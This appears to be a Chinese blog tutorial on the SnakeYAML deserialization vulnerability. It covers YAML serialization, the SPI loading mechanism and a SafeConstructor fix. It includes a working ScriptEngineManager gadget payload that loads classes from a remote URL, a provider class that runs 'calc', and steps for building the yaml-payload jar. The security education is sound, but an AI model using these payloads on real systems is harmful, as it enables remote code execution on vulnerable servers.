Java SnakeYaml 反序列化漏洞原理

目录

SnakeYaml

使用 SnakeYAML 序列化与反序列化

SnakeYAML 序列化实现

SnakeYAML 反序列化实现

SnakeYaml 反序列化漏洞

基于 ScriptEngineManager 利用链

漏洞原因分析

SPI 服务提供者发现机制

命令执行

漏洞修复


SnakeYaml

SnakeYAML 是一个用于 Java 语言的 YAML 解析库。YAML(YAML Ain't Markup Language)是一种人类可读的数据序列化标准,它通常被用来编写配置文件。SnakeYAML 提供了对 YAML 格式的解析和生成功能,支持将 YAML 文档转换成 Java 对象,以及将 Java 对象序列化为 YAML 格式。

使用 SnakeYAML 序列化与反序列化

idea 新建一个项目,构建系统时选择 Maven。然后在 pom.xml 中添加 SnakeYAML的依赖项

<dependencies>
  <!-- https://mvnrepository.com/artifact/org.yaml/snakeyaml -->
  <dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
  </dependency>
</dependencies>

SnakeYAML 序列化实现

public class User {
    public String name;

    public void setName(String name) {
        this.name = name;
    }

    public String getName() {
        return name;
    }
}
import org.yaml.snakeyaml.Yaml;  //导入了SnakeYAML库中的Yaml类,该类提供了将Java对象转换为YAML字符串的功能

public class SnakeYamlSerialize {  //定义了一个名为SankeYamlDemo的公共类
    public static void main(String[] args) {
        User user = new User();
        user.setName("zhangyun");

        Yaml yaml = new Yaml();   //创建了一个Yaml类的实例,用于执行序列化操作
        String dump = yaml.dump(user);  //使用Yaml对象的dump方法将user对象序列化为YAML格式的字符串
        System.out.println(dump);  //将序列化后的YAML字符串输出
    }
}

执行后显示 !!User {name: zhangyun} 。

  • 字符串以!!开头,这是YAML中的类型标记前缀。!!后面通常跟着的是对象的类名。
  • 提供的序列化结果字符串!!User {name: zhangyun}表示SnakeYAML库已经将一个User类的对象序列化为了YAML格式,该对象的name属性值为zhangyun。这是SnakeYAML库序列化Java对象时的默认格式。

SnakeYAML 反序列化实现

class User {
    public String name;

    // 无参构造函数  
    public User() {
        System.out.println("User构造函数");
    }

    // getter方法  
    public String getName() {
        System.out.println("User.getName");
        return name;
    }

    // setter方法  
    public void setName(String name) {
        System.out.println("User.setName");
        this.name = name;
    }

    // 重写toString方法方便输出  
    @Override
    public String toString() {
        return "User{name='" + name + "'}";
    }
}  

反序列化

import org.yaml.snakeyaml.Yaml;

public class SnakeYamlDeserialize {
    public static void main(String[] args) {
        // 原始YAML字符串
        String yamlString = "!!User {name: zhangyun}";
        // 创建Yaml对象
        Yaml yaml = new Yaml();
        User user2 = yaml.load(yamlString);  //直接从字符串加载 YAML 数据
        // 输出反序列化后的User对象
        System.out.println(user2);
    }
}

SnakeYaml 反序列化漏洞

因为SnakeYaml支持反序列化Java对象,所以当Yaml.load()函数的参数外部可控时,攻击者就可以传入一个恶意类的yaml格式序列化内容,当服务端进行yaml反序列化获取恶意类时就会触发SnakeYaml反序列化漏洞。

基于 ScriptEngineManager 利用链

修改反序列化的代码如下,即将yamlString 修改为

import org.yaml.snakeyaml.Yaml;

public class SnakeYamlDeserialize {
    public static void main(String[] args) {
        // 原始YAML字符串
        String yamlString = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://grsuk2.dnslog.cn\"]]]]\n";
        // 创建Yaml对象
        Yaml yaml = new Yaml();
        User user2 = yaml.load(yamlString);  //直接从字符串加载 YAML 数据
        // 输出反序列化后的User对象
        System.out.println(user2);
    }
}

执行

即可触发 dnslog

漏洞原因分析

为什么能触发 dnslog?

"!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://grsuk2.dnslog.cn\"]]]]";

  • !! 表示后面跟的是类名,指示解析器要从这个类实例化一个对象;
  • javax.script.ScriptEngineManager 这是Java中的一个类名,属于Java Scripting API的一部分。ScriptEngineManager类提供了对脚本引擎的访问,这些引擎可以用来执行Java支持的脚本语言(如JavaScript、Groovy等);
  • [] 方括号表示数组(或列表)。数组可以包含多个元素,这些元素可以是任何YAML支持的数据类型,包括其他数组、对象、字符串、数字等。方括号中的内容将作为参数传递给 其左边类的构造函数。
  • [[]] 这里的嵌套方括号表示一个数组的数组,即二维数组。在您的例子中,外层数组是URLClassLoader构造函数的参数,它期望得到一个URL对象的数组。内层数组则包含了一个URL对象。

所以

  • !!javax.script.ScriptEngineManager:这是一个类型标记,指示YAML解析器实例化一个javax.script.ScriptEngineManager对象。ScriptEngineManager是Java中用于管理脚本引擎的类。
  • [!!java.net.URLClassLoader [...]]:这是ScriptEngineManager构造函数的参数,表示要传递一个URLClassLoader对象。URLClassLoader是Java中用于从指定的URL加载类和资源的类加载器。
  • [[!!java.net.URL [\"http://o586dd.dnslog.cn\"]]]:这是URLClassLoader构造函数的参数,表示要加载的URL数组。在这个例子中,数组只包含一个元素,即远程URL http://o586dd.dnslog.cn

所以上面是一个特定格式的指令,旨在利用SnakeYAML解析器的功能来实例化Java对象并执行某些操作。

SPI 服务提供者发现机制

服务提供者发现机制(Service Provider Discovery Mechanism)通常也被称为SPI(Service Provider Interface)。SPI机制允许Java应用程序在不修改其源代码的情况下,通过发现和加载服务提供者来实现扩展。

1. 定义服务接口:

首先,需要定义一个服务接口 HelloSPI,这个接口定义了一个或多个方法,服务提供者需要实现这些方法。例如:

package inter;

public interface HelloSPI {
    void sayHello();
}

2. 实现服务接口(服务提供者)

然后,你需要有一个或多个实现这个接口的类 TextHello 和 ImageHello。这些类就是服务提供者。它们需要实现HelloSPI接口中定义的方法。

package inter;
import java.io.IOException;

public class TextHello implements HelloSPI {
    public TextHello() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public void sayHello() {
        System.out.println("Text Hello");
    }
}
package inter;

public class ImageHello implements HelloSPI {
    public void sayHello() {
        System.out.println("Image Hello");
    }
}

3. 创建服务提供者配置文件

在你的JAR包的META-INF/services目录下,你需要创建一个文件,文件名是服务接口的完全限定名(包名.接口名,在这个例子中是inter.HelloSPI)。

文件内容为,你需要列出所有实现这个接口的服务提供者的完全限定名(包名.类名),每行一个。

4. 加载和使用服务提供者:

最后,在你的SPIDemo类中,你使用ServiceLoader来加载HelloSPI接口的服务提供者,并遍历它们来调用sayHello方法。

package inter;
import java.util.ServiceLoader;

public class SPIDemo {
    public static void main(String[] args) {
        //1. ServiceLoader类的使用: ServiceLoader<HelloSPI>是Java内置的一个类,用于发现和加载服务提供者。这里的HelloSPI是一个接口,代表了我们想要使用的服务。
        //通过指定HelloSPI.class作为参数,ServiceLoader知道要查找哪个服务的提供者。
        //这行代码创建了一个ServiceLoader实例,它会根据HelloSPI接口去查找和加载所有可用的服务提供者。
        ServiceLoader<HelloSPI> serviceLoader = ServiceLoader.load(HelloSPI.class);
        //遍历服务提供者:ServiceLoader实现了Iterable接口,因此可以使用增强的for循环来遍历它找到的所有服务提供者。
        for (HelloSPI helloSPI : serviceLoader) {
            helloSPI.sayHello();
        }
    }
}

for (HelloSPI helloSPI : serviceLoader) { }在这个循环中,每次迭代,ServiceLoader都会尝试加载并实例化下一个可用的HelloSPI服务提供者。这里的“加载并实例化”过程是指:

  1. 加载ServiceLoader会根据服务提供者配置文件(通常位于META-INF/services目录下,文件名为接口的完全限定名)中的信息,找到服务提供者的类名,并尝试加载这个类。
  2. 实例化:一旦类被成功加载,ServiceLoader会使用这个类的无参构造函数来创建一个新的实例。这个新创建的实例随后被赋值给循环变量helloSPI,您就可以在循环体内使用这个实例了。

因此,每次循环迭代时,helloSPI变量都会引用一个新的HelloSPI实现类的实例。这些实例是根据服务提供者配置文件中的顺序来创建的。

执行后,由于TextHello 在实例化时会自动执行构造函数,从而触发其中的 calc 命令

命令执行

ScriptEngineManager利用链的原理就是基于SPI机制来加载执行用户自定义实现的ScriptEngineManager接口类的实现类,从而导致代码执行。

该漏洞涉及到了全版本,只要反序列化内容可控,那么就可以去进行反序列化攻击

下载 poc:https://github.com/artsploit/yaml-payload

观察代码,可知 AwesomeScriptEngineFactory 类实现了 ScriptEngineFactory 接口

打包成 jar 文件

javac -source 8 -target 8 src/artsploit/AwesomeScriptEngineFactory.java

jar -cvf yaml-payload.jar -C src/ .

运行即可弹窗

漏洞修复

修复方案:加入new SafeConstructor()类进行过滤

public class main {
    public static void main(String[] args) {

        String context = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload-master.jar\"]\n" +
                "  ]]\n" +
                "]";
        Yaml yaml = new Yaml(new SafeConstructor());
        yaml.load(context);
    }
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ly4j

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值